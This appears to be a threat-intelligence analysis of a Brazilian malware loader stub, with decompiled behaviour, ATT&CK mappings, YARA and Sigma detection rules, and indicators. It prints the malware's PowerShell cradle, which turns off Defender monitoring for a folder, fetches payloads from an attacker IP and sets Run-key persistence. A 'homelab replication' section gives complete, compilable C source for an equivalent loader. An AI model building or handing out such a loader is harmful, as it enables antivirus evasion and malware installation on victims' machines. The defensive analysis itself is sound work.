gerador-loader: 55db7544 — Brazilian MSVC loader stub, Defender exclusion + HTTP cradle

Executive Summary

PE32 x86 GUI executable built with MSVC 14.51 (May 2026) from a project named GERADOR_LOADER. A single ShellExecuteW call elevates via the "runas" verb and launches a PowerShell cradle that disables Defender monitoring on a staging directory, downloads two payloads from a Brazilian IP over HTTP, stages them to C:\ProgramData\MSDefender, executes the binary hidden, and sets both HKCU and HKLM Run keys for persistence. No packing, no anti-analysis, minimal IAT. Static-only; no CAPE detonation possible. ^[file.txt] ^[rabin2-info.txt] ^[r2:main]

What It Is

• File: z1DOC-6681673-708018947.exe, 252 KB ^[file.txt]
• Compile: Thu May 21 19:02:26 2026 UTC, MSVC 14.51 (Linker 14.51 / Utc1900_CPP 33145) ^[rabin2-info.txt] ^[pefile.txt:34]
• PDB: C:\Users\BIGODE\source\repos\GERADOR_LOADER\Release\GERADOR_LOADER.pdb ^[strings.txt:119]
• Language: Portuguese (Brazil) — RT_ICON resources all LANG_PORTUGUESE_BRAZILIAN (1046) ^[pefile.txt:366]
• IAT: 55 imports across KERNEL32.dll (CRT + basic APIs) and SHELL32.dll (ShellExecuteW only) ^[pefile.txt:269-333]
• Signed: No ^[rabin2-info.txt:31]
• Sections: .text (entropy 6.55), .rdata (4.76), .data (2.05), .fptable (0.00), .rsrc (7.29, 162 KB), .reloc (6.41) ^[pefile.txt:92-192]

How It Works

The entry point is standard MSVC CRT main (0x401000). Its entire user logic is a single ShellExecuteW invocation: ^[r2:main]

ShellExecuteW(NULL, "runas", "powershell.exe",
  "-Command \"Add-MpPreference -ExclusionPath 'C:\ProgramData\MSDefender'; ...\"",
  NULL, SW_HIDE)

The -Command payload is a UTF-16LE string stored in .rsrc at file offset 0x12378 (VA 0x413d78). The cradle performs the following in sequence:

1. Add-MpPreference -ExclusionPath 'C:\ProgramData\MSDefender' — disables Defender monitoring (T1562.001).
2. mkdir 'C:\ProgramData\MSDefender' — staging directory creation.
3. curl -Uri 'http://177.136.230.88/modulo/Flexpcis.exe' -OutFile 'C:\ProgramData\MSDefender\Flexpcis.exe' — payload fetch (T1105).
4. curl -Uri 'http://177.136.230.88/modulo/Drivespan.dll' -OutFile 'C:\ProgramData\MSDefender\Drivespan.dll' — companion DLL fetch (T1105).
5. Start-Process -FilePath 'C:\ProgramData\MSDefender\Flexpcis.exe' -WindowStyle Hidden — execution (T1204.002).
6. Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force — HKCU persistence (T1547.001).
7. Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force — HKLM persistence (T1547.001), contingent on runas elevation.

Decompiled Behavior

Radare2 decompilation of main (0x401000) confirms the entire user logic is a single API call. No loops, conditionals, anti-debug checks, or runtime API resolution. The remaining ~540 functions are CRT/STL/ASM startup internals. ^[r2:main]

C2 Infrastructure

No HTTPS, no domain, no DGA, no mutex, no named pipes. The MSDefender directory and WindowsService value names are generic masquerade.

Interesting Tidbits

• Builder name in PDB: GERADOR_LOADER literally means "GENERATOR_LOADER" in Portuguese. Developer handle BIGODE means "mustache". Amateur crimeware tooling, not a commercial kit. ^[strings.txt:119]
• Brazilian localization: All 10 RT_ICON resources are tagged LANG_PORTUGUESE_BRAZILIAN (1046), confirming the build environment locale. ^[pefile.txt:366]
• Document masquerade: Distribution filename z1DOC-6681673-708018947.exe uses a document-themed prefix with numeric noise, common in email-borne droppers. ^[metadata.json]
• No anti-analysis: No anti-debug, anti-VM, sandbox evasion, packing, or string encryption. The entire malicious behavior is visible in one radare2 decompilation pass.
• HTTP not HTTPS: Both payload fetches use unencrypted HTTP — either very low-sophistication or a compromised web server where TLS was an afterthought.
• Dual Run keys: Writing both HKCU and HKLM is redundant if admin, but if runas is declined, HKCU still fires on next login.

How To Mess With It (Homelab Replication)

A comparable loader stub can be built in minutes:

#include <windows.h>
#include <shellapi.h>
#pragma comment(lib, "shell32.lib")

int main() {
    ShellExecuteW(NULL, L"runas", L"powershell.exe",
        L"-Command \"Add-MpPreference -ExclusionPath 'C:\\ProgramData\\MSDefender'; "
        L"mkdir 'C:\\ProgramData\\MSDefender'; "
        L"curl -Uri 'http://YOUR.IP/payload.exe' -OutFile 'C:\\ProgramData\\MSDefender\\payload.exe'; "
        L"Start-Process 'C:\\ProgramData\\MSDefender\\payload.exe' -WindowStyle Hidden; "
        L"$e='C:\\ProgramData\\MSDefender\\payload.exe'; "
        L"Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' "
        L"-Name 'WindowsService' -Value $e -Force\"",
        NULL, SW_HIDE);
    return 0;
}

Compile with cl /O2 /Fe:loader.exe loader.c (MSVC 14.x). Resulting binary has comparable IAT (KERNEL32 + SHELL32) and no packing.

Deployable Signatures

YARA

rule gerador_loader_stub {
    meta:
        description = "Brazilian GERADOR_LOADER PowerShell cradle stub"
        author = "PacketPursuit"
        date = "2026-06-10"
        hash = "55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99"
    strings:
        $pdb = "GERADOR_LOADER.pdb" ascii wide nocase
        $cmd1 = "Add-MpPreference -ExclusionPath" ascii wide
        $cmd2 = "WindowsService" ascii wide
        $cmd3 = "Flexpcis.exe" ascii wide
        $cmd4 = "Drivespan.dll" ascii wide
        $ip = "177.136.230.88" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        ($pdb or (2 of ($cmd*) and $ip)) and
        pe.imports("SHELL32.dll", "ShellExecuteW")
}

Sigma

title: GERADOR_LOADER PowerShell Cradle Execution
status: experimental
description: Detects the PowerShell cradle pattern used by the GERADOR_LOADER family
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'Add-MpPreference'
            - 'ExclusionPath'
            - 'MSDefender'
            - 'WindowsService'
    condition: selection
falsepositives:
    - Unlikely (explicit Defender exclusion + generic service name)
level: high

IOC List

Behavioral Fingerprint

On launch, the binary loads only KERNEL32 and SHELL32, calls ShellExecuteW with the runas verb to spawn powershell.exe -Command ... with a cradle that adds a Defender directory exclusion, downloads two files via HTTP to C:\ProgramData\MSDefender, executes the EXE hidden, and writes both HKCU and HKLM Run registry values named WindowsService. No network traffic originates from the stub itself; all C2 activity is delegated to the PowerShell child process and the subsequently dropped payloads.

Detection Signatures

• MITRE ATT&CK: T1562.001, T1105, T1204.002, T1547.001, T1548.002
• capa: Tool error (signatures missing); no capability report available ^[capa.txt]

References

• SHA-256: 55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99
• OpenCTI artifact: c924ae31-e4ec-45a9-9443-89465ae03907
• Related wiki pages: gerador-loader, powershell-cradle-downloader, defender-exclusion-via-powershell, registry-run-persistence

Capabilities

• shell-execute-powershell-cradle
• uac-elevation-runas-verb
• defender-exclusion-directory
• http-payload-fetch
• registry-run-persistence-hkcu
• registry-run-persistence-hklm
• process-launch-hidden

Provenance

• Static analysis: radare2 (file opened, aa analysis, decompiled main at 0x401000), pefile.py (section/resource inspection), xxd (raw string extraction at file offset 0x12378)
• File metadata: file(1), exiftool, pefile.py
• Strings: strings(1), floss (tool error)
• Capability: capa (tool error — signatures missing)
• Dynamic: CAPE skipped (no Windows guest available) ^[dynamic-analysis.md]